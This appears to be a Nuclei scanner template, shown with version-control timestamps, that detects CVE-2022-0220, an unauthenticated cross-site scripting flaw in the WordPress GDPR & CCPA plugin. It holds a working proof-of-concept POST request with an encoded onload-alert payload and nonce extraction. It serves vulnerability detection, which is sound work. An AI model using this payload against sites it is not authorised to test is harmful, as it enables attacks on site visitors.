2022-07-18 13:40:25 +00:00
id : CVE-2022-0220
info :
2022-09-10 01:55:52 +00:00
name : WordPress GDPR & CCPA <1.9.27 - Cross-Site Scripting
2022-07-18 13:40:25 +00:00
author : daffainfo
2022-09-10 02:12:57 +00:00
severity : medium
2022-07-25 16:41:56 +00:00
description : |
2022-09-10 02:12:57 +00:00
WordPress GDPR & CCPA plugin before 1.9.27 contains a cross-site scripting vulnerability. The check_privacy_settings AJAX action, available to both unauthenticated and authenticated users, responds with JSON data without an "application/json" content-type, and JavaScript code may be executed on a victim's browser.
2022-07-25 16:49:41 +00:00
reference :
2022-07-25 16:41:56 +00:00
- https://wpscan.com/vulnerability/a91a01b9-7e36-4280-bc50-f6cff3e66059
2022-07-26 06:24:11 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2022-0220
2022-09-10 01:55:52 +00:00
remediation : Version 1.9.26 has added a CSRF check. This vulnerability is only exploitable against unauthenticated users.
2022-08-25 06:30:23 +00:00
classification :
2022-09-10 02:12:57 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.1
2022-09-10 01:55:52 +00:00
cve-id : CVE-2022-0220
2022-09-10 02:12:57 +00:00
cwe-id : CWE-79
2022-09-09 17:34:37 +00:00
tags : wpscan,cve,cve2022,wordpress,wp-plugin,wp,xss,unauth
2022-07-18 13:40:25 +00:00
requests :
- raw :
2022-07-25 16:41:56 +00:00
- |
GET /wp-admin HTTP/1.1
Host : {{Hostname}}
2022-07-18 13:40:25 +00:00
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
2022-07-25 16:41:56 +00:00
action=check_privacy_settings&settings%5B40%5D=40&settings%5B41%5D=%3cbody%20onload%3dalert(document.domain)%3e&nonce={{nonce}}
2022-07-18 13:57:48 +00:00
2022-07-25 16:41:56 +00:00
redirects : true
max-redirects : 2
req-condition : true
2022-07-18 13:40:25 +00:00
matchers :
2022-07-25 16:41:56 +00:00
- type : dsl
dsl :
- "contains(all_headers_2, 'text/html')"
- "status_code_2 == 200"
2022-08-24 13:29:03 +00:00
- "contains(body_2, '<body onload=alert(document.domain)>') && contains(body_2, '/wp-content/plugins/')"
2022-07-25 16:41:56 +00:00
condition : and
2022-07-18 13:40:25 +00:00
2022-07-25 16:41:56 +00:00
extractors :
- type : regex
name : nonce
2022-07-18 13:40:25 +00:00
part : body
2022-07-25 16:41:56 +00:00
group : 1
regex :
- 'nonce":"([0-9a-z]+)'
internal : true
2022-09-10 01:55:52 +00:00
# Enhanced by md on 2022/09/08